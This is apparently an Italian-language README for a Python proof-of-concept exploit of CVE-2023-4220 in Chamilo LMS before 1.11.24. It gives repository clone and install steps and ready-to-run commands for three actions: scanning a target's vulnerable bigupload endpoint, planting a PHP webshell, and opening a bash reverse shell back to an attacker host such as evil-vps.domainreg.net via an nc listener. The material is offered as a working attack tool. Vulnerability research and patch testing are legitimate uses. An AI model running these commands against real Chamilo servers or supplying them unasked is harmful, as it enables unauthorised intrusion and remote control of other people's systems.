rai2en/cve-2023-4220-chamilo-lmsQuesto è uno script scritto in Python che permette lo sfruttamento della falla di sicurezza del software LMS Chamilo descritta in CVE-2023-4220
Questo script consente lo sfruttamento della falla di sicurezza del software Chamilo's LMS descritta in CVE-2023-4220. Il sistema è vulnerabile nelle versioni precedenti la 1.11.24.
Clona il repository sulla tua macchina e installa le dipendenze usando pip (si consiglia di usare virtualenv per creare un ambiente per separare queste installazioni da quelle globali)
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt
Lo script necessita dell'URL del target con il percorso root di Chamilo's (ad esempio http://example.com/chamilo, http://example.com o http://chamilo.example.com) e di un'azione da eseguire (ce ne sono tre disponibili: scan, webshell e revshell).
Questa azione controllerà se il target è vulnerabile tentando di accedere all'endpoint /main/inc/lib/javascript/bigupload/files/.
python3 main.py -u http://example.com/chamilo -a scan
Questa azione creerà un file webshell PHP nell'endpoint vulnerabile.
python3 main.py -u http://example.com/chamilo -a webshell
Questa azione creerà ed eseguirà un file bash reverse shell. Per fare ciò, verrà prima creato un webshell usando lo stesso metodo utilizzato nell'azione precedente. Successivamente, verranno eseguiti alcuni comandi per creare ed eseguire il file bash. Assicurati di essere in ascolto sulla porta che hai definito con nc o qualsiasi altro strumento per ricevere effettivamente la connessione inversa. Inoltre, l'host può essere un IPv4 interno/pubblico valido (come 172.17.1.4 o 186.227.4.31) o il dominio che hai registrato (come evil-vps.domainreg.net)
python3 main.py -u http://example.com/chamilo -a revshell
OBS: Presto aggiungerò un'opzione di payload Windows per host Windows